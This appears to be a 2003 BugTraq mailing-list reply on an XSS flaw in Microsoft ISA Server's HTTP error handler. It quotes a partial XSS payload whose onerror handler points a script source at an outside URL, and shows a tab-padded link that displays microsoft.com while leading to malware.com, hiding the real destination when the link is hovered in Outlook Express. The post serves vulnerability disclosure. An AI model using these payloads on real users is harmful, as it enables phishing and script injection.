BugTraq
Re: Microsoft ISA Server HTTP error handler XSS (TL#007) Jul 17 2003 11:05PM
http-equiv (at) excite (dot) com [email concealed] (1 malware com)


<!--

http://<img%09src=""%09onerror="document.scripts[0].src=%27http%5Cx3a%
5Cx2f%
5Cx2f

-->

This is very interesting. A side 'benefit' is that we can mask our
true url with the same scheme.

For an href in html in order to mask the true destination the <a
href="....>bloatedcorp.com</a>, can be manipulated by trivial
javascript to generate a custom representation in the status bar to
fool our recipient should they 'hover' the mouse over the link.

This can be defeated quite simply like so:

<A href="http://%09%09%09%09%09%09%09
09www.malware.com">http://www.microsoft.com</A>

In an html mail message [default in Outlook Express] plus restricted
zone in Outlook Express 6 [again default] where no scripting is
allowed, the above link when presented to the recipient in an html
email message, and tested by 'hovering' the mouse over it, yields
nothing. Blank. Thereafter accepting the url, transports us to our
site as required.

End Call

--
http://www.malware.com

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